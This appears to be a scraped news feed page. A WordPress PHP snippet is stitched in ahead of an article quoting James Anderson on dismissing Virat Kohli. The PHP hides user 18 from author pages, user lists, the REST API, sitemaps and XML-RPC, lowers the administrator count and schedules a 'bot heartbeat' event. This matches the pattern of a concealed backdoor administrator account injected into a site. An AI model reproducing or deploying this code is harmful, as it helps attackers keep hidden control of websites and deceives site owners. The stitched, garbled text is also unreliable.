add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>It was the 7th time in his career that Anderson had picked Kohli’s wicket. After the end of the play on Day 1, the veteran pacer said that dismissing Kohli was a special moment for him as it is important to keep the India captain quiet.
“I think so (it was special). We have had some great battles over the years. He is someone you want to keep quiet. Especially, in a five-match series, if he gets going he can be very disruptive,” Anderson said at the virtual press conference.
Anderson also dismissed KL Rahul and Cheteshwar Pujara in a similar fashion as India were bundled out for 78. Speaking on how he continues to be in his best form, the 39-year-old Anderson revealed that he works harder in the gym.
“As I get older, I feel like I have to work that little bit harder in the gym. I feel like I bowl less in the nets, and try to save it for when it matters in the middle,” Anderson said.
“The biggest test in Test cricket is mentally getting yourself up for bowling big spells and playing in big games. It’s about keeping yourself switch on through games and switch off when you are not bowling — that’s something I’ve always had,” he added.
Asked about his problematic right shoulder, he said: “It still hurts. You just find a way of putting up with it. it’s just part and parcel of the job.”
Anderson said that after all the talk during the Lord’s Test, the aim here was to “shut the noise” and focus on the job. India took a 1-0 lead at Lord’s riding on the tail-enders’ brave display with the bat followed by their excellent bowling.
“We have made a conscious effort of trying to just focus on us, on what we do well and try and ignore everything else, the outside noise or wherever there might be going on, and make sure there’s a real focus on what we do well,” the fast bowler signed off.
(With PTI inputs)
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>